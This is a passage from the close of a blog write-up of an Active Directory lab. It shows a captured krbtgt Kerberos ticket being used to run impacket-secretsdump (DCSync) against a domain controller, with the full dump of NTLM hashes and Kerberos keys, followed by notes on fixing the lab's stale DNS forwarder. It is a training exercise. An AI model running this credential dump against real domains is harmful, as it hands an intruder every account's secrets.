and notice we do get a ticket captured this time! now we just use this ticket and DCsync :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(root㉿kali)-[/opt/krbrelayx]
└─# export KRB5CCNAME=DC3\$@BORITO.DOJO_krbtgt@BORITO.DOJO.ccache

┌──(root㉿kali)-[/opt/krbrelayx]
└─# impacket-secretsdump -k -no-pass DC3.BORITO.dojo
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:da242be4db83fe6cfc723370699c585a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c927276e9df7515da2ac1fac608559f6:::
DC3$:1000:aad3b435b51404eeaad3b435b51404ee:d79c112b66b7663f60f9c874b41ec387:::
C4T$:1601:aad3b435b51404eeaad3b435b51404ee:743b1abd8e9c5be0d3297e6728d57cff:::
LONIPO$:1103:aad3b435b51404eeaad3b435b51404ee:dea9d977c7400cc67451c94634cd319d:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:7b00236148802167141a22dae6a60fd5791e818719f332abbfa6a5c669c61f52
Administrator:aes128-cts-hmac-sha1-96:3793473038285da38f5df61e964a549f
Administrator:des-cbc-md5:4a808a9ee5c25273
krbtgt:aes256-cts-hmac-sha1-96:a15c4be2c98dc772c30bad11906e63ee1bf08f2bbfea895bef5b3d7dee696312
krbtgt:aes128-cts-hmac-sha1-96:f78742c7a382fe4feb0aac94238ef077
krbtgt:des-cbc-md5:b5c85ea4b576324f
DC3$:aes256-cts-hmac-sha1-96:f341cfcb6829bc6671b248d8282c81bba9c198c33fa0bf60eb0183b7b0ad76f4
DC3$:aes128-cts-hmac-sha1-96:6e6e09beb4608ab9531dbe6e54a7da08
DC3$:des-cbc-md5:5e4519a18c2f236d
C4T$:aes256-cts-hmac-sha1-96:8b7f37204e0c281ed30141d4e3fe0e65e019fd043a9d73048d7a30ff8aff9d73
C4T$:aes128-cts-hmac-sha1-96:53418b0ecfd4c957eddc2e86358937c2
C4T$:des-cbc-md5:b90834a24a98f704
LONIPO$:aes256-cts-hmac-sha1-96:4b490a52571899eb6cc486604d832f4e30d0865e7baa1e7b3ba7aef266510e34
LONIPO$:aes128-cts-hmac-sha1-96:9b0a5d6090e3ea5a311c82bb0dcbe2ac
LONIPO$:des-cbc-md5:450d3df470ce08b5
[*] Cleaning up...

and get the flag :

Rubeus.exe's

Regarding the DNS forwarder fix: when this issue was encountered, a support ticket was opened on the platform’s Discord. The response indicated the lab is not broken, which was reasonable and led to spending more time looking for an alternative paths rather than trusting the initial diagnosis. The concrete evidence eventually made the conclusion unavoidable: 172.16.237.73 belongs to a completely different subnet (172.16.x.x) from the lab’s actual network (176.16.71.x). This is consistent with a stale IP left over from a previous network configuration that wasn’t updated when the lab was redeployed. The conditional forwarder was pointing to a dead host. Once the forwarder was corrected, everything worked as expected. If you encounter the same issue, check the conditional forwarders early. the DNS debugging steps above should help isolate it quickly.

The lab covers a solid cross-forest attack chain and is worth the time regardless of the environment issues encountered here. kudos to the authors!

This post is licensed under CC BY 4.0 by the author.